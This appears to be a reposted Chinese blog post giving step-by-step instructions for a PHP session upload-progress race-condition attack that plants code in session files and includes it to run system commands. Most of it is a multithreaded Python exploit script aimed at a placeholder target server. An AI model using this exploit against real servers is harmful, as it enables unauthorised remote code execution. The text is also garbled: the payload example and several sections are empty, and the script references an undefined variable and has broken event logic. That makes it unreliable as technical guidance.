本文共 1715 字,大约阅读时间需要 5 分钟。
为了避开Web服务器的目录traversal防护,我们可以利用PHP会话上传功能进行条件竞争。以下是实现攻击的详细步骤:
禁用自动清理会话文件:
session.upload_progress.cleanup
为0,这样在HTTP请求结束后不会自动删除会话文件。编写注入木马:
PHP_SESSION_UPLOAD_PROGRESS
参数注入恶意代码。例如:自动化发送请求:
import ioimport requestsimport threadingimport timesessid = 'dummy_session'data = { 'cmd': 'system("echo hello;")'}global eventevent = threading.Event()def write_session(): while True: f = io.BytesIO() requests.post( 'http://target.com/session.php', data={'PHP_SESSION_UPLOAD_PROGRESS': raw_input_evil_code}, files={'file': ('malicious.php', f)}, cookies={'PHPSESSID': sessid} ) time.sleep(0.5)def read_response(): while True: try: response = requests.post( 'http://target.com/session.php?file=/some/path', data=data, cookies={'PHPSESSID': sessid} ) if 'hello' in response.text: print("Injection successful!") event.clear() else: print("Trying again...") except: print("Error, retrying...") time.sleep(1)with requests.Session() as session: for _ in range(100): threading.Thread(target=write_session).start() for _ in range(100): threading.Thread(target=read_response).start() event.wait()
处理异常并保持会话状态:
global
变量或类似机制管理事件,确保攻击未完成时不提前停止。效果验证:
注意:
通过以上步骤,可以尽量提高攻击的成功率,但仍需考虑目标服务器的安全措施和潜在的检测机制。
转载地址:http://klouk.baihongyu.com/